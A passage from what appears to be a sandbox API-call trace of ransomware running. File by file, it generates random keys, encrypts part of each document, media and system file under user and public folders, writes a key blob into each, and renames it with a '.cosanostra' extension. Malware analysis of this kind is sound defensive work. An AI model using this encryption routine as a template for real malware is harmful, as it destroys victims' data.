YoPelT\\pUjmcJ8o2wf IIEnb6.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\pujmcj8o2wf iienb6.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\pUjmcJ8o2wf IIEnb6.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\pujmcj8o2wf iienb6.xls.cosanostra")) returned 1 [0089.925] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff798 | out: pbBuffer=0x26ff798) returned 1 [0089.925] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff790*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff790*=0x30) returned 1 [0089.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\M6RiPT2Y.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\m6ript2y.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.926] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\M6RiPT2Y.ots") returned 75 [0089.926] StrStrW (lpFirst="M6RiPT2Y.ots", lpSrch=".txt") returned 0x0 [0089.926] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.926] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff754, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff754*=0x2800, lpOverlapped=0x0) returned 1 [0089.926] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.926] WriteFile (in: hFile=0x180, lpBuffer=0x26ff794*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff754, lpOverlapped=0x0 | out: lpBuffer=0x26ff794*, lpNumberOfBytesWritten=0x26ff754*=0x4, lpOverlapped=0x0) returned 1 [0089.926] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff754, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff754*=0x30, lpOverlapped=0x0) returned 1 [0089.927] CloseHandle (hObject=0x180) returned 1 [0089.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\M6RiPT2Y.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\m6ript2y.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\M6RiPT2Y.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\m6ript2y.ots.cosanostra")) returned 1 [0089.927] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff790 | out: pbBuffer=0x26ff790) returned 1 [0089.927] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff788*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff788*=0x30) returned 1 [0089.927] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\aJHpzcU-sG5kZ4 VHC.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\ajhpzcu-sg5kz4 vhc.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.927] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\aJHpzcU-sG5kZ4 VHC.pps") returned 85 [0089.927] StrStrW (lpFirst="aJHpzcU-sG5kZ4 VHC.pps", lpSrch=".txt") returned 0x0 [0089.928] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.928] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff74c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff74c*=0x2800, lpOverlapped=0x0) returned 1 [0089.928] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.928] WriteFile (in: hFile=0x180, lpBuffer=0x26ff78c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff74c, lpOverlapped=0x0 | out: lpBuffer=0x26ff78c*, lpNumberOfBytesWritten=0x26ff74c*=0x4, lpOverlapped=0x0) returned 1 [0089.928] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff74c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff74c*=0x30, lpOverlapped=0x0) returned 1 [0089.928] CloseHandle (hObject=0x180) returned 1 [0089.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\aJHpzcU-sG5kZ4 VHC.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\ajhpzcu-sg5kz4 vhc.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\aJHpzcU-sG5kZ4 VHC.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\ajhpzcu-sg5kz4 vhc.pps.cosanostra")) returned 1 [0089.929] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff790 | out: pbBuffer=0x26ff790) returned 1 [0089.929] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff788*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff788*=0x30) returned 1 [0089.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qibGeMJl6ImPNsSz.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qibgemjl6impnssz.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.929] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qibGeMJl6ImPNsSz.pptx") returned 65 [0089.929] StrStrW (lpFirst="qibGeMJl6ImPNsSz.pptx", lpSrch=".txt") returned 0x0 [0089.930] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.930] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff74c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff74c*=0x2800, lpOverlapped=0x0) returned 1 [0089.930] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.930] WriteFile (in: hFile=0x180, lpBuffer=0x26ff78c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff74c, lpOverlapped=0x0 | out: lpBuffer=0x26ff78c*, lpNumberOfBytesWritten=0x26ff74c*=0x4, lpOverlapped=0x0) returned 1 [0089.930] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff74c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff74c*=0x30, lpOverlapped=0x0) returned 1 [0089.931] CloseHandle (hObject=0x180) returned 1 [0089.931] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qibGeMJl6ImPNsSz.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qibgemjl6impnssz.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qibGeMJl6ImPNsSz.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qibgemjl6impnssz.pptx.cosanostra")) returned 1 [0090.114] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff780 | out: pbBuffer=0x26ff780) returned 1 [0090.115] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff778*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff778*=0x30) returned 1 [0090.115] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.118] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\IconCache.db") returned 47 [0090.118] StrStrW (lpFirst="IconCache.db", lpSrch=".txt") returned 0x0 [0090.461] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.461] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff73c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff73c*=0x2800, lpOverlapped=0x0) returned 1 [0090.461] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.461] WriteFile (in: hFile=0x180, lpBuffer=0x26ff77c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff73c, lpOverlapped=0x0 | out: lpBuffer=0x26ff77c*, lpNumberOfBytesWritten=0x26ff73c*=0x4, lpOverlapped=0x0) returned 1 [0090.473] WriteFile (in: hFile=0x180, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff73c, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff73c*=0x30, lpOverlapped=0x0) returned 1 [0090.473] CloseHandle (hObject=0x180) returned 1 [0090.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\IconCache.db.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.cosanostra")) returned 1 [0090.474] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff780 | out: pbBuffer=0x26ff780) returned 1 [0090.474] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff778*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff778*=0x30) returned 1 [0090.474] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.617] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini") returned 56 [0090.618] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.618] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.618] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x26ff73c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff73c*=0xab, lpOverlapped=0x0) returned 1 [0090.618] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.618] WriteFile (in: hFile=0x180, lpBuffer=0x26ff77c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff73c, lpOverlapped=0x0 | out: lpBuffer=0x26ff77c*, lpNumberOfBytesWritten=0x26ff73c*=0x4, lpOverlapped=0x0) returned 1 [0090.618] WriteFile (in: hFile=0x180, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff73c, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff73c*=0x30, lpOverlapped=0x0) returned 1 [0090.618] CloseHandle (hObject=0x180) returned 1 [0090.619] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini.cosanostra")) returned 1 [0090.619] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff778 | out: pbBuffer=0x26ff778) returned 1 [0090.619] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff770*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff770*=0x30) returned 1 [0090.619] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.621] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned 62 [0090.621] StrStrW (lpFirst="Chrysanthemum.jpg", lpSrch=".txt") returned 0x0 [0090.622] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.622] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff734, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff734*=0x2800, lpOverlapped=0x0) returned 1 [0090.623] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.623] WriteFile (in: hFile=0x154, lpBuffer=0x26ff774*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff734, lpOverlapped=0x0 | out: lpBuffer=0x26ff774*, lpNumberOfBytesWritten=0x26ff734*=0x4, lpOverlapped=0x0) returned 1 [0090.624] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff734, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff734*=0x30, lpOverlapped=0x0) returned 1 [0090.624] CloseHandle (hObject=0x154) returned 1 [0090.624] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.cosanostra")) returned 1 [0090.624] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff778 | out: pbBuffer=0x26ff778) returned 1 [0090.624] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff770*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff770*=0x30) returned 1 [0090.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\.." (normalized: "c:\\users\\public\\pictures"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.624] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff770 | out: pbBuffer=0x26ff770) returned 1 [0090.624] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff768*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff768*=0x30) returned 1 [0090.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\." (normalized: "c:\\users\\public\\pictures\\sample pictures\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.625] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff770 | out: pbBuffer=0x26ff770) returned 1 [0090.625] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff768*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff768*=0x30) returned 1 [0090.625] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.625] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\desktop.ini") returned 40 [0090.625] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.625] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.625] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x26ff72c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff72c*=0x17c, lpOverlapped=0x0) returned 1 [0090.626] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.626] WriteFile (in: hFile=0x154, lpBuffer=0x26ff76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff72c, lpOverlapped=0x0 | out: lpBuffer=0x26ff76c*, lpNumberOfBytesWritten=0x26ff72c*=0x4, lpOverlapped=0x0) returned 1 [0090.626] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff72c, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff72c*=0x30, lpOverlapped=0x0) returned 1 [0090.626] CloseHandle (hObject=0x154) returned 1 [0090.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\pictures\\desktop.ini.cosanostra")) returned 1 [0090.626] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff768 | out: pbBuffer=0x26ff768) returned 1 [0090.626] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff760*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff760*=0x30) returned 1 [0090.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.626] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff768 | out: pbBuffer=0x26ff768) returned 1 [0090.626] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff760*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff760*=0x30) returned 1 [0090.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\." (normalized: "c:\\users\\public\\pictures\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.629] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff758 | out: pbBuffer=0x26ff758) returned 1 [0090.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff750*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff750*=0x30) returned 1 [0090.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.629] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3") returned 53 [0090.629] StrStrW (lpFirst="Sleep Away.mp3", lpSrch=".txt") returned 0x0 [0090.631] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.631] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff714, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff714*=0x2800, lpOverlapped=0x0) returned 1 [0090.631] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.631] WriteFile (in: hFile=0x154, lpBuffer=0x26ff754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff714, lpOverlapped=0x0 | out: lpBuffer=0x26ff754*, lpNumberOfBytesWritten=0x26ff714*=0x4, lpOverlapped=0x0) returned 1 [0090.633] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff714, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff714*=0x30, lpOverlapped=0x0) returned 1 [0090.633] CloseHandle (hObject=0x154) returned 1 [0090.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.cosanostra" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.cosanostra")) returned 1 [0090.633] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff758 | out: pbBuffer=0x26ff758) returned 1 [0090.633] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff750*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff750*=0x30) returned 1 [0090.633] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.634] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3") returned 68 [0090.634] StrStrW (lpFirst="Maid with the Flaxen Hair.mp3", lpSrch=".txt") returned 0x0 [0090.635] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.635] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff714, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff714*=0x2800, lpOverlapped=0x0) returned 1 [0090.635] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.635] WriteFile (in: hFile=0x154, lpBuffer=0x26ff754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff714, lpOverlapped=0x0 | out: lpBuffer=0x26ff754*, lpNumberOfBytesWritten=0x26ff714*=0x4, lpOverlapped=0x0) returned 1 [0090.636] WriteFile (in: hFile=0x154, lpBuffer=0x27cb18*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff714, lpOverlapped=0x0 | out: lpBuffer=0x27cb18*, lpNumberOfBytesWritten=0x26ff714*=0x30, lpOverlapped=0x0) returned 1 [0090.636] CloseHandle (hObject=0x154) returned 1 [0090.636] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.cosanostra" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.cosanostra")) returned 1 [0090.637] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff750 | out: pbBuffer=0x26ff750) returned 1 [0090.637] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x26ff748*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x26ff748*=0x30) returned 1 [0090.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0xc0000000, 